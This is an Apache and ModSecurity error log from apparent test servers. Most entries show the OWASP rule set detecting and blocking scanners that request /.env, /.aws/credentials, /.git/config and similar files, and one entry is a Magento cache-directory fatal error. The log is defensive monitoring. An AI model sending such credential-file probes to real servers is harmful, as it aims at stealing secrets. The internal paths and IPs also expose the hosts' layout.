[Sun Oct 13 07:29:05.960306 2024] [:error] [pid 2571767] [client 194.163.184.179:36362] [client 194.163.184.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "ZwtaoR3ayh9yEca2G_vnDAAAAAE"]
[Sun Oct 13 07:29:07.399519 2024] [:error] [pid 2571768] [client 194.163.184.179:36392] [client 194.163.184.179] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZwtaowDRjGOf1hCWBzmTrwAAAAI"]
[Sun Oct 13 07:29:07.400331 2024] [:error] [pid 2571768] [client 194.163.184.179:36392] [client 194.163.184.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZwtaowDRjGOf1hCWBzmTrwAAAAI"]
[Sun Oct 13 07:29:07.400832 2024] [:error] [pid 2571768] [client 194.163.184.179:36392] [client 194.163.184.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "ZwtaowDRjGOf1hCWBzmTrwAAAAI"]
[Sun Oct 13 07:29:08.750383 2024] [:error] [pid 2571769] [client 194.163.184.179:36402] [client 194.163.184.179] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "177"] [id "920170"] [msg "GET or HEAD Request with Body Content."] [data "14"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZwtapKpxWL-1Yi4TZhwPZgAAAAM"]
[Sun Oct 13 07:29:08.752291 2024] [:error] [pid 2571769] [client 194.163.184.179:36402] [client 194.163.184.179] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZwtapKpxWL-1Yi4TZhwPZgAAAAM"]
[Sun Oct 13 07:29:08.752575 2024] [:error] [pid 2571769] [client 194.163.184.179:36402] [client 194.163.184.179] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "ZwtapKpxWL-1Yi4TZhwPZgAAAAM"]
[Tue Oct 15 00:42:14.222072 2024] [authz_core:error] [pid 2613237] [client 34.135.211.21:34402] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/
[Thu Oct 24 00:05:09.092412 2024] [:error] [pid 2828340] [client 179.43.189.138:50238] [client 179.43.189.138] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZxlzFb5GbjiYuGybQMd4UQAAACs"]
[Thu Oct 24 00:05:09.094142 2024] [:error] [pid 2828340] [client 179.43.189.138:50238] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZxlzFb5GbjiYuGybQMd4UQAAACs"]
[Thu Oct 24 00:05:09.094693 2024] [:error] [pid 2828340] [client 179.43.189.138:50238] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZxlzFb5GbjiYuGybQMd4UQAAACs"]
[Wed Nov 06 23:09:44.433982 2024] [php:error] [pid 3146532] [client 199.45.154.143:51650] PHP Fatal error: Uncaught Zend_Cache_Exception: cache_dir "/var/www/magento.test.indacotrentino.com/www/var/page_cache" is not writable in /var/www/magento.test.indacotrentino.com/www/vendor/magento/zend-cache/library/Zend/Cache.php:209\nStack trace:\n#0 /var/www/magento.test.indacotrentino.com/www/vendor/magento/zend-cache/library/Zend/Cache/Backend/File.php(180): Zend_Cache::throwException()\n#1 /var/www/magento.test.indacotrentino.com/www/vendor/colinmollenhour/cache-backend-file/File.php(86): Zend_Cache_Backend_File->setCacheDir()\n#2 /var/www/magento.test.indacotrentino.com/www/vendor/magento/zend-cache/library/Zend/Cache.php(153): Cm_Cache_Backend_File->__construct()\n#3 /var/www/magento.test.indacotrentino.com/www/vendor/magento/zend-cache/library/Zend/Cache.php(94): Zend_Cache::_makeBackend()\n#4 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Frontend/Factory.php(442): Zend_Cache::factory()\n#5 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/Cache/Frontend/Adapter/Zend.php(38): Magento\\Framework\\App\\Cache\\Frontend\\Factory->Magento\\Framework\\App\\Cache\\Frontend\\{closure}()\n#6 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/ObjectManager/Factory/AbstractFactory.php(121): Magento\\Framework\\Cache\\Frontend\\Adapter\\Zend->__construct()\n#7 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/ObjectManager/Factory/Dynamic/Developer.php(66): Magento\\Framework\\ObjectManager\\Factory\\AbstractFactory->createObject()\n#8 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/ObjectManager/ObjectManager.php(56): Magento\\Framework\\ObjectManager\\Factory\\Dynamic\\Developer->create()\n#9 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Frontend/Factory.php(444): Magento\\Framework\\ObjectManager\\ObjectManager->create()\n#10 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Frontend/Factory.php(178): Magento\\Framework\\App\\Cache\\Frontend\\Factory->createCacheWithDefaultOptions()\n#11 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Frontend/Pool.php(69): Magento\\Framework\\App\\Cache\\Frontend\\Factory->create()\n#12 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Frontend/Pool.php(156): Magento\\Framework\\App\\Cache\\Frontend\\Pool->_initialize()\n#13 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Type/FrontendPool.php(87): Magento\\Framework\\App\\Cache\\Frontend\\Pool->get()\n#14 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Cache/Type/Config.php(52): Magento\\Framework\\App\\Cache\\Type\\FrontendPool->get()\n#15 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/Cache/Frontend/Decorator/Bare.php(65): Magento\\Framework\\App\\Cache\\Type\\Config->_getFrontend()\n#16 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/ObjectManager/ConfigLoader.php(73): Magento\\Framework\\Cache\\Frontend\\Decorator\\Bare->load()\n#17 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/ObjectManager/Environment/Developer.php(79): Magento\\Framework\\App\\ObjectManager\\ConfigLoader->load()\n#18 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/ObjectManagerFactory.php(191): Magento\\Framework\\App\\ObjectManager\\Environment\\Developer->configureObjectManager()\n#19 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Bootstrap.php(212): Magento\\Framework\\App\\ObjectManagerFactory->create()\n#20 /var/www/magento.test.indacotrentino.com/www/vendor/magento/framework/App/Bootstrap.php(127): Magento\\Framework\\App\\Bootstrap->__construct()\n#21 /var/www/magento.test.indacotrentino.com/www/pub/index.php(27): Magento\\Framework\\App\\Bootstrap::create()\n#22 {main}\n thrown in /var/www/magento.test.indacotrentino.com/www/vendor/magento/zend-cache/library/Zend/Cache.php on line 209
[Fri Nov 15 17:57:29.100105 2024] [authz_core:error] [pid 3339706] [client 138.68.144.227:50278] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Nov 15 17:57:30.150425 2024] [:error] [pid 3339728] [client 138.68.144.227:50308] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zzd9eo-KlRCQEtP8QHK_RQAAAAo"]
[Fri Nov 15 17:57:30.150923 2024] [:error] [pid 3339728] [client 138.68.144.227:50308] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zzd9eo-KlRCQEtP8QHK_RQAAAAo"]
[Fri Nov 15 17:57:30.151173 2024] [:error] [pid 3339728] [client 138.68.144.227:50308] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Zzd9eo-KlRCQEtP8QHK_RQAAAAo"]
[Fri Nov 15 17:57:30.249343 2024] [:error] [pid 3339741] [client 138.68.144.227:50320] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzd9esqZ-j59VjHWEwX_lQAAAAk"]
[Fri Nov 15 17:57:30.249651 2024] [:error] [pid 3339741] [client 138.68.144.227:50320] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzd9esqZ-j59VjHWEwX_lQAAAAk"]
[Fri Nov 15 17:57:30.249874 2024] [:error] [pid 3339741] [client 138.68.144.227:50320] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Zzd9esqZ-j59VjHWEwX_lQAAAAk"]
[Fri Nov 15 17:57:30.350953 2024] [:error] [pid 3339707] [client 138.68.144.227:50322] [client 138.68.144.227] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzd9estt9-d74jt4pPFNzgAAAAQ"]
[Fri Nov 15 17:57:30.351459 2024] [:error] [pid 3339707] [client 138.68.144.227:50322] [client 138.68.144.227] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzd9estt9-d74jt4pPFNzgAAAAQ"]
[Fri Nov 15 17:57:30.351898 2024] [:error] [pid 3339707] [client 138.68.144.227:50322] [client 138.68.144.227] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzd9estt9-d74jt4pPFNzgAAAAQ"]
[Sun Nov 17 05:32:05.605382 2024] [:error] [pid 3368376] [client 45.148.10.123:38276] [client 45.148.10.123] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzlxxb_c85K6cXnObnwRXQAAAAE"]
[Sun Nov 17 05:32:05.607189 2024] [:error] [pid 3368376] [client 45.148.10.123:38276] [client 45.148.10.123] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzlxxb_c85K6cXnObnwRXQAAAAE"]
[Sun Nov 17 05:32:05.607636 2024] [:error] [pid 3368376] [client 45.148.10.123:38276] [client 45.148.10.123] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Zzlxxb_c85K6cXnObnwRXQAAAAE"]
[Mon Nov 18 01:50:16.803364 2024] [:error] [pid 3387186] [client 45.148.10.245:55838] [client 45.148.10.245] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzqPSLtpT_bzhBzHnDjcuwAAABA"]
[Mon Nov 18 01:50:16.805033 2024] [:error] [pid 3387186] [client 45.148.10.245:55838] [client 45.148.10.245] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzqPSLtpT_bzhBzHnDjcuwAAABA"]
[Mon Nov 18 01:50:16.805976 2024] [:error] [pid 3387186] [client 45.148.10.245:55838] [client 45.148.10.245] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzqPSLtpT_bzhBzHnDjcuwAAABA"]
[Mon Nov 18 10:51:32.861696 2024] [:error] [pid 3390891] [client 179.43.188.122:37756] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzsOJN1Z9snompattk92AwAAAAM"]
[Mon Nov 18 10:51:32.862384 2024] [:error] [pid 3390891] [client 179.43.188.122:37756] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzsOJN1Z9snompattk92AwAAAAM"]
[Mon Nov 18 10:51:32.862799 2024] [:error] [pid 3390891] [client 179.43.188.122:37756] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzsOJN1Z9snompattk92AwAAAAM"]
[Mon Nov 18 10:52:17.202711 2024] [:error] [pid 3390889] [client 179.43.188.122:51002] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZzsOUbrd3yrSwoQ3D9wUsgAAAAE"]
[Mon Nov 18 10:52:17.203363 2024] [:error] [pid 3390889] [client 179.43.188.122:51002] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZzsOUbrd3yrSwoQ3D9wUsgAAAAE"]
[Mon Nov 18 10:52:17.203782 2024] [:error] [pid 3390889] [client 179.43.188.122:51002] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZzsOUbrd3yrSwoQ3D9wUsgAAAAE"]
[Tue Nov 19 00:59:50.272816 2024] [:error] [pid 3409872] [client 45.61.136.47:43548] [client 45.61.136.47] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzvU9tkGHGwqAI6jwRdTwwAAAAU"]
[Tue Nov 19 00:59:50.273549 2024] [:error] [pid 3409872] [client 45.61.136.47:43548] [client 45.61.136.47] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzvU9tkGHGwqAI6jwRdTwwAAAAU"]
[Tue Nov 19 00:59:50.274033 2024] [:error] [pid 3409872] [client 45.61.136.47:43548] [client 45.61.136.47] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZzvU9tkGHGwqAI6jwRdTwwAAAAU"]
